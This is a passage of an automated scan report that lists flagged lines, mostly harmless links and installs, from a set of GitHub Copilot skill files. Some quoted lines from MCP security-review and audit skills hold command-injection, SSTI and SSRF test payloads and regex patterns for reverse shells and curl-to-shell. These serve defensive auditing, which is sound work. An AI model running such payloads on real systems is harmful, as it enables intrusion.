  • Dangerous shell operationline 34
    sudo apt-get install hugo
  • Network accessline 36
    # Or download from https://gohugo.io/installation/
  • Network accessline 48
    # Initialize git and add theme git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke
  • Network accessline 49
    git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke echo "theme = 'ananke'" >> hugo.toml
  • Network accessline 50
    git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke
  • Network accessline 135
    # Basic settings baseURL = 'https://example.com/'
  • Network accessline 136
    baseURL = 'https://example.com/'
  • Network accessline 390
    - [Hugo Documentation](https://gohugo.io/documentation/)
  • Network accessline 391
    - [Hugo Themes](https://themes.gohugo.io/)
  • Network accessline 392
    - [Hugo Discourse](https://discourse.gohugo.io/)
  • Network accessline 393
    - [GitHub Repository](https://github.com/gohugoio/hugo)
  • Network accessline 394
    - [Quick Reference](https://gohugo.io/quick-reference/)

harness/github-copilot/skills/markdown-to-html/references/jekyll.md

  • Dangerous shell operationline 28
    sudo apt-get install ruby-full build-essential zlib1g-dev
  • Network accessline 31
    # Windows (use RubyInstaller) # Download from https://rubyinstaller.org/
  • Network accessline 32
    # Download from https://rubyinstaller.org/
  • Network accessline 50
    # Open http://localhost:4000
  • Network accessline 116
    description: A great blog baseurl: "" url: "https://example.com"
  • Network accessline 118
    url: "https://example.com"
  • Network accessline 317
    - [Jekyll Documentation](https://jekyllrb.com/docs/)
  • Network accessline 318
    - [Liquid Template Language](https://shopify.github.io/liquid/)
  • Network accessline 319
    - [Kramdown Documentation](https://kramdown.gettalong.org/)
  • Network accessline 320
    - [GitHub Repository](https://github.com/jekyll/jekyll)
  • Network accessline 321
    - [Jekyll Themes](https://jekyllthemes.io/)

harness/github-copilot/skills/markdown-to-html/references/marked.md

  • Network accessline 33
    <script src="https://cdn.jsdelivr.net/npm/marked/lib/marked.umd.js"></script>

harness/github-copilot/skills/markdown-to-html/references/pandoc.md

  • Network accessline 16
    # Or download installer from https://pandoc.org/installing.html
  • Dangerous shell operationline 30
    sudo apt-get install pandoc
  • Dangerous shell operationline 33
    sudo dnf install pandoc
  • Network accessline 35
    # Or download from https://pandoc.org/installing.html
  • Network accessline 223
    - [Pandoc User's Guide](https://pandoc.org/MANUAL.html)
  • Network accessline 224
    - [Pandoc Demos](https://pandoc.org/demos.html)
  • Network accessline 225
    - [Pandoc FAQ](https://pandoc.org/faqs.html)
  • Network accessline 226
    - [GitHub Repository](https://github.com/jgm/pandoc)

harness/github-copilot/skills/markdown-to-html/references/tables.md

  • Network accessline 17
    ![Screenshot of a GitHub Markdown table rendered as two equal columns. Headers are shown in boldface, and alternate content rows have gray shading.](https://docs.github.com/assets/images/help/writing/table-basic-rendered.png)
  • Network accessline 30
    ![Screenshot of a GitHub Markdown table with two columns of differing width. Rows list the commands "git status" and "git diff" and their descriptions.](https://docs.github.com/assets/images/help/writing/table-varied-columns-rendered.png)
  • Network accessline 32
    If you are frequently editing code snippets and tables, you may benefit from enabling a fixed-width font in all comment fields on GitHub. For more information, see [About writing and formatting on GitHub](https://docs.github.com/get-started
  • Network accessline 36
    You can use [formatting](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax) such as links, inline code blocks, and text styling within your table:
  • Network accessline 45
    ![Screenshot of a GitHub Markdown table with the commands formatted as code blocks. Bold and italic formatting are used in the descriptions.](https://docs.github.com/assets/images/help/writing/table-inline-formatting-rendered.png)
  • Network accessline 56
    ![Screenshot of a Markdown table with three columns as rendered on GitHub, showing how text within cells can be set to align left, center, or right.](https://docs.github.com/assets/images/help/writing/table-aligned-text-rendered.png)
  • Network accessline 67
    ![Screenshot of a Markdown table as rendered on GitHub showing how pipes, which normally close cells, are shown when prefaced by a backslash.](https://docs.github.com/assets/images/help/writing/table-escaped-character-rendered.png)
  • Network accessline 71
    * [GitHub Flavored Markdown Spec](https://github.github.com/gfm/)
  • Network accessline 72
    * [Basic writing and formatting syntax](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)

harness/github-copilot/skills/markdown-to-html/references/writing-mathematical-expressions-to-html.md

  • Network accessline 14
    <p>This sentence uses <code>$</code> delimiters to show math inline:  <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 15
    <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 45
    <p>This sentence uses  <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 46
    <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">    <mo>‘</mo>
  • Network accessline 47
    <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 54
    </math-renderer> delimiters to show math inline:  <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 55
    <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">    <msqrt>
  • Network accessline 56
    <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 92
    <strong>The Cauchy-Schwarz Inequality</strong><br>   <math-renderer>     <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 93
    <math-renderer>     <math xmlns="http://www.w3.org/1998/Math/MathML">       <msup>
  • Network accessline 94
    <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 176
    <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 177
    <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 252
    <p>The equation  <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 253
    <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 283
    <p><math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 317
    <code>\$</code> to display a dollar sign:  <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 318
    <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">    <msqrt>
  • Network accessline 319
    <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 339
    <span>$</span>100 in half, we calculate  <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 340
    <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">    <mn>100</mn>
  • Network accessline 341
    <math xmlns="http://www.w3.org/1998/Math/MathML">

harness/github-copilot/skills/markdown-to-html/references/writing-mathematical-expressions.md

  • Network accessline 7
    To enable clear communication of mathematical expressions, GitHub supports LaTeX formatted math within Markdown. For more information, see [LaTeX/Mathematics](http://en.wikibooks.org/wiki/LaTeX/Mathematics) in Wikibooks.
  • Network accessline 9
    GitHub's math rendering capability uses MathJax; an open source, JavaScript-based display engine. MathJax supports a wide range of LaTeX macros, and several useful accessibility extensions. For more information, see [the MathJax documentati
  • Network accessline 15
    There are two options for delimiting a math expression inline with your text. You can either surround the expression with dollar symbols (`$`), or start the expression with <code>$\`</code> and end it with <code>\`$</code>. The latter synta
  • Network accessline 21
    ![Screenshot of rendered Markdown showing an inline mathematical expression: the square root of 3x minus 1 plus (1 plus x) squared.](https://docs.github.com/assets/images/help/writing/inline-math-markdown-rendering.png)
  • Network accessline 27
    ![Screenshot of rendered Markdown showing an inline mathematical expression with backtick syntax: the square root of 3x minus 1 plus (1 plus x) squared.](https://docs.github.com/assets/images/help/writing/inline-backtick-math-markdown-rende
  • Network accessline 33
    >  [!TIP] If you're writing in an .md file, you will need to use specific formatting to create a line break, such as ending the line with a backslash as shown in the example below. For more information on line breaks in Markdown, see [Basic
  • Network accessline 40
    ![Screenshot of rendered Markdown showing a complex equation. Bold text reads "The Cauchy-Schwarz Inequality" above the formula for the inequality.](https://docs.github.com/assets/images/help/writing/math-expression-as-a-block-rendering.png
  • Network accessline 62
    ![Screenshot of rendered Markdown showing how a backslash before a dollar sign displays the sign as part of a mathematical expression.](https://docs.github.com/assets/images/help/writing/dollar-sign-within-math-expression.png)
  • Network accessline 70
    ![Screenshot of rendered Markdown showing how span tags around a dollar sign display the sign as inline text not as part of a mathematical equation.](https://docs.github.com/assets/images/help/writing/dollar-sign-inline-math-expression.png)
  • Network accessline 74
    * [The MathJax website](http://mathjax.org)
  • Network accessline 75
    * [Getting started with writing and formatting on GitHub](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github)
  • Network accessline 76
    * [GitHub Flavored Markdown Spec](https://github.github.com/gfm/)

harness/github-copilot/skills/markstream-install/SKILL.md

  • Network accessline 6
    metadata:   compatibility: "JavaScript or TypeScript frontend project using Vue 3, Nuxt 3/4, Vue 2.6/2.7, React 18+, Next.js, Angular 20+, or Svelte 5."   documentation: "https://markstream.simonhe.me/"
  • Network accessline 7
    compatibility: "JavaScript or TypeScript frontend project using Vue 3, Nuxt 3/4, Vue 2.6/2.7, React 18+, Next.js, Angular 20+, or Svelte 5."   documentation: "https://markstream.simonhe.me/"   source: "https://github.com/Simon-He95/markstre
  • Network accessline 8
    documentation: "https://markstream.simonhe.me/"
  • Network accessline 9
    source: "https://github.com/Simon-He95/markstream-vue"
  • Network accessline 34
    Read `references/scenarios.md` before choosing packages or peers. Official sources are https://markstream.simonhe.me/ and https://github.com/Simon-He95/markstream-vue .
  • Network accessline 169
    - [Installation](https://markstream.simonhe.me/guide/installation)
  • Network accessline 170
    - [AI chat and streaming](https://markstream.simonhe.me/guide/ai-chat-streaming)
  • Network accessline 171
    - [Performance](https://markstream.simonhe.me/guide/performance)
  • Network accessline 172
    - [Troubleshooting](https://markstream.simonhe.me/guide/troubleshooting)
  • Network accessline 173
    - [Component overrides](https://markstream.simonhe.me/guide/component-overrides)

harness/github-copilot/skills/mcp-builder/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

harness/github-copilot/skills/mcp-builder/SKILL.md

  • Network accessline 47
    Start with the sitemap to find relevant pages: `https://modelcontextprotocol.io/sitemap.xml`
  • Network accessline 49
    Then fetch specific pages with `.md` suffix for markdown format (e.g., `https://modelcontextprotocol.io/specification/draft.md`).
  • Network accessline 66
    **For TypeScript (recommended):** - **TypeScript SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md`
  • Network accessline 67
    - **TypeScript SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md`
  • Network accessline 70
    **For Python:** - **Python SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 71
    - **Python SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 208
    ### Core MCP Documentation (Load First) - **MCP Protocol**: Start with sitemap at `https://modelcontextprotocol.io/sitemap.xml`, then fetch specific pages with `.md` suffix
  • Network accessline 209
    - **MCP Protocol**: Start with sitemap at `https://modelcontextprotocol.io/sitemap.xml`, then fetch specific pages with `.md` suffix
  • Network accessline 217
    ### SDK Documentation (Load During Phase 1/2) - **Python SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 218
    - **Python SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 219
    - **TypeScript SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md`

harness/github-copilot/skills/mcp-builder/reference/evaluation.md

  • Access to secretsline 398
    [Credential-related source omitted]
  • Access to secretsline 440
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]
  • Network accessline 454
    python scripts/evaluation.py \   -t sse \   -u https://example.com/mcp \
  • Network accessline 455
    [Credential-related source omitted]
  • Network accessline 456
    -u https://example.com/mcp \
  • Network accessline 467
    python scripts/evaluation.py \   -t http \   -u https://example.com/mcp \
  • Network accessline 468
    [Credential-related source omitted]
  • Network accessline 469
    -u https://example.com/mcp \
  • Access to secretsline 557
    [Credential-related source omitted]

harness/github-copilot/skills/mcp-builder/reference/node_mcp_server.md

  • Dangerous shell operationline 541
    "clean": "rm -rf dist"
  • Network accessline 600
    // Constants const API_BASE_URL = "https://api.example.com/v1";
  • Network accessline 601
    const API_BASE_URL = "https://api.example.com/v1";
  • Access to secretsline 707
    [Credential-related source omitted]
  • Access to secretsline 708
    [Credential-related source omitted]
  • Access to secretsline 719
    [Credential-related source omitted]
  • Access to secretsline 720
    [Credential-related source omitted]
  • Network accessline 737
    const port = parseInt(process.env.PORT || '3000');   app.listen(port, () => {     console.error(`MCP server running on http://localhost:${port}/mcp`);
  • Network accessline 738
    app.listen(port, () => {     console.error(`MCP server running on http://localhost:${port}/mcp`);   });
  • Network accessline 739
    console.error(`MCP server running on http://localhost:${port}/mcp`);

harness/github-copilot/skills/mcp-builder/reference/python_mcp_server.md

  • Network accessline 42
    **For complete SDK documentation, use WebFetch to load:** `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 43
    `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 233
    async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict:     '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:
  • Network accessline 234
    '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:         response = await client.request(
  • Network accessline 235
    async with httpx.AsyncClient() as client:
  • Network accessline 251
    # Good: Async network request async def fetch_data(resource_id: str) -> dict:     async with httpx.AsyncClient() as client:
  • Network accessline 252
    async def fetch_data(resource_id: str) -> dict:     async with httpx.AsyncClient() as client:         response = await client.get(f"{API_URL}/resource/{resource_id}")
  • Network accessline 253
    async with httpx.AsyncClient() as client:
  • Network accessline 258
    # Bad: Synchronous request def fetch_data(resource_id: str) -> dict:     response = requests.get(f"{API_URL}/resource/{resource_id}")  # Blocks
  • Network accessline 259
    def fetch_data(resource_id: str) -> dict:     response = requests.get(f"{API_URL}/resource/{resource_id}")  # Blocks     return response.json()
  • Network accessline 260
    response = requests.get(f"{API_URL}/resource/{resource_id}")  # Blocks
  • Network accessline 352
    # Constants API_BASE_URL = "https://api.example.com/v1"
  • Network accessline 353
    API_BASE_URL = "https://api.example.com/v1"
  • Network accessline 382
    async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict:     '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:
  • Network accessline 383
    '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:         response = await client.request(
  • Network accessline 384
    async with httpx.AsyncClient() as client:
  • Access to secretsline 511
    [Credential-related source omitted]
  • Access to secretsline 517
    [Credential-related source omitted]

harness/github-copilot/skills/mcp-builder/scripts/connections.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/mcp-builder/scripts/evaluation.py

  • Executable scriptline 1
    Executable file
  • Network accessline 315
    [Credential-related source omitted]
  • Network accessline 318
    python evaluation.py -t http -u https://example.com/mcp -m claude-3-5-sonnet-20241022 eval.xml

harness/github-copilot/skills/mcp-create-adaptive-cards/SKILL.md

  • Network accessline 127
    {   "type": "AdaptiveCard",   "$schema": "https://adaptivecards.io/schemas/adaptive-card.json",
  • Network accessline 128
    "type": "AdaptiveCard",   "$schema": "https://adaptivecards.io/schemas/adaptive-card.json",   "version": "1.5",
  • Network accessline 129
    "$schema": "https://adaptivecards.io/schemas/adaptive-card.json",
  • Network accessline 162
    - [Adaptive Card Designer](https://adaptivecards.microsoft.com/designer)
  • Network accessline 163
    - [Adaptive Card Schema](https://adaptivecards.io/schemas/adaptive-card.json)
  • Network accessline 164
    - [Template Language](https://learn.microsoft.com/en-us/adaptive-cards/templating/language)
  • Network accessline 165
    - [JSONPath](https://www.rfc-editor.org/rfc/rfc9535)

harness/github-copilot/skills/mcp-create-adaptive-cards/references/card-reference-examples.md

  • Network accessline 25
    "static_template": {             "type": "AdaptiveCard",             "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",
  • Network accessline 26
    "type": "AdaptiveCard",             "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",             "version": "1.5",
  • Network accessline 27
    "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",
  • Network accessline 125
    }       ],       "$schema": "http://adaptivecards.io/schemas/adaptive-card.json"
  • Network accessline 126
    ],       "$schema": "http://adaptivecards.io/schemas/adaptive-card.json"     },
  • Network accessline 127
    "$schema": "http://adaptivecards.io/schemas/adaptive-card.json"
  • Network accessline 156
    }       ],       "$schema": "http://adaptivecards.io/schemas/adaptive-card.json"
  • Network accessline 157
    ],       "$schema": "http://adaptivecards.io/schemas/adaptive-card.json"     }
  • Network accessline 158
    "$schema": "http://adaptivecards.io/schemas/adaptive-card.json"
  • Network accessline 221
    {   "type": "Image",   "url": "https://example.com/image.png",
  • Network accessline 222
    "type": "Image",   "url": "https://example.com/image.png",   "size": "medium",  // auto, stretch, small, medium, large
  • Network accessline 223
    "url": "https://example.com/image.png",
  • Network accessline 265
    "type": "Action.OpenUrl",   "title": "View Details",   "url": "https://example.com/item/${id}"
  • Network accessline 266
    "title": "View Details",   "url": "https://example.com/item/${id}" }
  • Network accessline 267
    "url": "https://example.com/item/${id}"
  • Network accessline 288
    "static_template": {             "type": "AdaptiveCard",             "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",
  • Network accessline 289
    "type": "AdaptiveCard",             "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",             "version": "1.5",
  • Network accessline 290
    "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",

harness/github-copilot/skills/mcp-create-declarative-agent/SKILL.md

  • Network accessline 21
    - Use Microsoft 365 Agents Toolkit project conventions and generated `appPackage/` files. - The MCP server must expose server metadata, a tools listing endpoint, and tool execution endpoint. - Test the finished agent in Microsoft 365 Copilo
  • Network accessline 22
    - The MCP server must expose server metadata, a tools listing endpoint, and tool execution endpoint. - Test the finished agent in Microsoft 365 Copilot at `https://m365.cloud.microsoft/chat`. - Store secrets in `.env.local` or `.env.dev`; n
  • Network accessline 23
    - Test the finished agent in Microsoft 365 Copilot at `https://m365.cloud.microsoft/chat`.
  • Access to secretsline 24
    [Credential-related source omitted]
  • Access to secretsline 44
    [Credential-related source omitted]
  • Network accessline 49
    {"$schema":"https://developer.microsoft.com/json-schemas/teams/vDevPreview/MicrosoftTeams.schema.json","manifestVersion":"devPreview","version":"1.0.0","id":"...","developer":{"name":"...","websiteUrl":"...","privacyUrl":"...","termsOfUseUr
  • Network accessline 55
    {"$schema":"https://aka.ms/json-schemas/copilot/declarative-agent/v1.0/schema.json","version":"v1.0","name":"Agent Name","description":"Agent description","instructions":"You are an assistant that helps with [specific domain]. Use the avail
  • Network accessline 61
    {"schema_version":"v2.1","name_for_human":"Service Name","description_for_human":"Description for users","description_for_model":"Description for AI model","contact_email":"support@company.com","namespace":"serviceName","capabilities":{"con
  • Network accessline 67
    {"serverUrl":"https://{api-host}/mcp/","pluginFilePath":"appPackage/ai-plugin.json"}
  • Network accessline 85
    | Need | Configuration | | --- | --- | | OAuth 2.0 static registration | Use `"type": "OAuthPluginVault"`, `"reference_id": "${{OAUTH_REFERENCE_ID}}"`, `"authorization_url": "https://{auth-host}/authorize"`, `"client_id": "${{CLIENT_ID}}"`,
  • Network accessline 86
    [Credential-related source omitted]
  • Network accessline 87
    [Credential-related source omitted]
  • Access to secretsline 87
    [Credential-related source omitted]
  • Network accessline 94
    | Server | URL | Tools | Auth | | --- | --- | --- | --- | | GitHub MCP Server | `https://api.githubcopilot.com/mcp/` | `search_repositories`, `search_users`, `get_repository` | OAuth 2.0 |
  • Network accessline 95
    | --- | --- | --- | --- | | GitHub MCP Server | `https://api.githubcopilot.com/mcp/` | `search_repositories`, `search_users`, `get_repository` | OAuth 2.0 | | Jira MCP Server | `https://your-domain.atlassian.net/mcp/` | `search_issues`, `cr
  • Network accessline 96
    | GitHub MCP Server | `https://api.githubcopilot.com/mcp/` | `search_repositories`, `search_users`, `get_repository` | OAuth 2.0 |
  • Network accessline 97
    | Jira MCP Server | `https://your-domain.atlassian.net/mcp/` | `search_issues`, `create_issue`, `update_issue` | OAuth 2.0 |
  • Network accessline 98
    | Custom Service | `https://{api-host}/mcp/` | Custom tools exposed by your service | OAuth 2.0 or SSO |
  • Network accessline 140
    - Provisioning: pass | not run | blocked - Local debug/sideload: pass | not run | blocked - Microsoft 365 Copilot test at `https://m365.cloud.microsoft/chat`: pass | not run | blocked
  • Network accessline 142
    - Microsoft 365 Copilot test at `https://m365.cloud.microsoft/chat`: pass | not run | blocked
  • Access to secretsline 151
    [Credential-related source omitted]
  • Network accessline 157
    - [Microsoft Teams manifest schema](https://developer.microsoft.com/json-schemas/teams/vDevPreview/MicrosoftTeams.schema.json)
  • Network accessline 158
    - [Declarative agent schema](https://aka.ms/json-schemas/copilot/declarative-agent/v1.0/schema.json)
  • Network accessline 159
    - [Microsoft 365 Copilot chat](https://m365.cloud.microsoft/chat)

harness/github-copilot/skills/mcp-deploy-manage-agents/SKILL.md

  • Network accessline 21
    - Access the Microsoft 365 admin center at https://admin.microsoft.com/ for tenant agent registry, availability, deployment, blocking, and assignment.
  • Network accessline 22
    - Use the Power Platform admin center at https://admin.powerplatform.microsoft.com/ when the agent is an App Builder agent, Workflows agent, agent studio agent, or flow-backed agent.
  • Network accessline 23
    - Use Partner Center at https://learn.microsoft.com/en-us/partner-center/ only for public Agent Store submission and validation.
  • Network accessline 135
    - [Microsoft 365 admin center](https://admin.microsoft.com/)
  • Network accessline 136
    - [Power Platform admin center](https://admin.powerplatform.microsoft.com/)
  • Network accessline 137
    - [Partner Center for agent submissions](https://learn.microsoft.com/en-us/partner-center/)
  • Network accessline 138
    - [Microsoft Agent 365 Overview](https://learn.microsoft.com/en-us/microsoft-agent-365/overview)
  • Network accessline 139
    - [Agent Registry Documentation](https://learn.microsoft.com/en-us/microsoft-365/admin/manage/agent-registry)

harness/github-copilot/skills/mcp-implementation-security-review/SKILL.md

  • Network accessline 104
    | Vector | Dangerous code | Safe alternative | Test payload | CWE | | --- | --- | --- | --- | --- | | Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `e
  • Network accessline 105
    | --- | --- | --- | --- | --- | | Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `execFile("convert", [args.filename])`, `subprocess.run(["process", us
  • Dangerous shell operationline 106
    | Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `execFile("convert", [args.filename])`, `subprocess.run(["process", user_input], shell=False)` | `; rm
  • Network accessline 106
    | Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `execFile("convert", [args.filename])`, `subprocess.run(["process", user_input], shell=False)` | `; rm
  • Dangerous shell operationline 107
    | Dynamic code evaluation | `eval(args.expression)`, `exec(tool_output)`, `new Function(args.code)()` | Sandboxed parser, AST-based evaluation, or predefined allowlist. | `__import__('os').system('whoami')`, `require('child_process').exec('
  • Network accessline 110
    | SSTI | `Template(user_input).render()`, `Handlebars.compile(args.template)({data})` | Never use user input as template source; use predefined templates with parameters only. | `{{7*7}}`, `${7*7}`, `<%= 7*7 %>` must not render `49`. | CWE-
  • Network accessline 112
    | SSRF | `requests.get(user_param)`, `fetch(user_input)`, `HttpClient.GetAsync(user_input)` | Allowlist schemes/domains, block RFC1918 and link-local targets, validate URLs before sending. | `http://169.254.169.254/latest/meta-data/`, `http
  • Network accessline 195
    - [MCP specification 2025-03-26](https://modelcontextprotocol.io/specification/2025-03-26)
  • Network accessline 196
    - [MCP specification 2025-11-25](https://modelcontextprotocol.io/specification/2025-11-25)

harness/github-copilot/skills/mcp-security-audit/SKILL.md

  • Network accessline 67
    (r'(?i)bash\s+-c\s', "bash -c execution"),     (r'(?i)sh\s+-c\s', "sh -c execution"),     (r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"),
  • Network accessline 68
    (r'(?i)sh\s+-c\s', "sh -c execution"),     (r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"),     (r'curl\s+.*\|\s*(ba)?sh', "curl pipe to shell"),
  • Dangerous shell operationline 69
    (r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"),
  • Network accessline 69
    (r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"),
  • Network accessline 70
    (r'curl\s+.*\|\s*(ba)?sh', "curl pipe to shell"),
  • Access to secretsline 74
    [Credential-related source omitted]
  • Access to secretsline 83
    [Credential-related source omitted]
  • Network accessline 149
    [Credential-related source omitted]
  • Access to secretsline 150
    [Credential-related source omitted]
  • Dangerous shell operationline 151
    | `"command": "node", "args": ["server.js"]` | `"command": "bash", "args": ["-c", "curl example | sh"]` |
  • Network accessline 151
    | `"command": "node", "args": ["server.js"]` | `"command": "bash", "args": ["-c", "curl example | sh"]` |
  • Access to secretsline 177
    [Credential-related source omitted]
  • Network accessline 185
    - [MCP Specification](https://modelcontextprotocol.io/)
  • Network accessline 186
    - [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit)
  • Network accessline 187
    - [OWASP ASI-02: Insecure Tool Use](https://genai.owasp.org/)

harness/github-copilot/skills/md-to-docx/scripts/md-to-docx.mjs

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/md-to-docx/scripts/package.json

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/meeting-minutes/SKILL.md

  • Network accessline 62
    | Due date | Every action item must include `YYYY-MM-DD`, `ASAP`, or a clear timeframe. | | Acceptance criteria | Add what completes the action whenever possible. | | Traceability | Link tickets, slides, recordings, or URLs when provided, f
  • Network accessline 63
    | Acceptance criteria | Add what completes the action whenever possible. | | Traceability | Link tickets, slides, recordings, or URLs when provided, for example `https://github.com/owner/repo/issues/123`. | | Uncertainty | Do not infer unsu
  • Network accessline 64
    | Traceability | Link tickets, slides, recordings, or URLs when provided, for example `https://github.com/owner/repo/issues/123`. |

harness/github-copilot/skills/mentoring-juniors/SKILL.md

  • Network accessline 192
    - [Thomas Chmara](https://github.com/AGAH4X)
  • Network accessline 193
    - [François Descamps](https://github.com/fdescamps)

harness/github-copilot/skills/microsoft-agent-framework/SKILL.md

  • Network accessline 21
    - Microsoft Agent Framework is in public preview and changes quickly. - Read the official overview at `https://learn.microsoft.com/agent-framework/overview/agent-framework-overview` before making implementation choices.
  • Network accessline 22
    - Read the official overview at `https://learn.microsoft.com/agent-framework/overview/agent-framework-overview` before making implementation choices. - Prefer official docs and samples for current APIs; treat older Semantic Kernel and AutoG
  • Network accessline 50
    | Source | Rule | Official guide | | --- | --- | --- | | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kerne
  • Network accessline 51
    | --- | --- | --- | | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/` | | AutoGen | Preserve agent in
  • Network accessline 52
    | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/` |
  • Network accessline 53
    | AutoGen | Preserve agent interactions and orchestration semantics before replacing abstractions. | `https://learn.microsoft.com/agent-framework/migration-guide/from-autogen/` |
  • Network accessline 104
    - [Microsoft Agent Framework overview](https://learn.microsoft.com/agent-framework/overview/agent-framework-overview)
  • Network accessline 105
    - [Migration guide from Semantic Kernel](https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/)
  • Network accessline 106
    - [Migration guide from AutoGen](https://learn.microsoft.com/agent-framework/migration-guide/from-autogen/)

harness/github-copilot/skills/microsoft-agent-framework/references/dotnet.md

  • Network accessline 7
    - Repository: <https://github.com/microsoft/agent-framework/tree/main/dotnet>
  • Network accessline 8
    - Samples: <https://github.com/microsoft/agent-framework/tree/main/dotnet/samples>

harness/github-copilot/skills/microsoft-agent-framework/references/python.md

  • Network accessline 7
    - Repository: <https://github.com/microsoft/agent-framework/tree/main/python>
  • Network accessline 8
    - Samples: <https://github.com/microsoft/agent-framework/tree/main/python/samples>

harness/github-copilot/skills/microsoft-code-reference/SKILL.md

  • Network accessline 4
    Look up official Microsoft API references, SDK signatures, packages, and working code samples before writing or fixing Azure SDK, .NET, Microsoft Graph, or Microsoft API code. Use when verifying method names, overloads, parameters, authenti
  • Network accessline 5
    metadata:   compatibility: "Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback." ---
  • Network accessline 6
    compatibility: "Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback."
  • Network accessline 126
    - [Microsoft Learn MCP Server](https://learn.microsoft.com/api/mcp)

harness/github-copilot/skills/microsoft-docs/SKILL.md

  • Network accessline 128
    - [Aspire docs MCP tools announcement](https://davidpine.dev/posts/aspire-docs-mcp-tools/)
  • Network accessline 129
    - [Aspire PR #14028](https://github.com/dotnet/aspire/pull/14028)

harness/github-copilot/skills/microsoft-skill-creator/SKILL.md

  • Network accessline 4
    Create hybrid GitHub Copilot skills for Microsoft technologies using Microsoft Learn MCP tools or the mslearn CLI. Use this skill when the user asks to create a skill for Azure, .NET, Microsoft 365, VS Code, Bicep, Semantic Kernel, a Micros
  • Network accessline 5
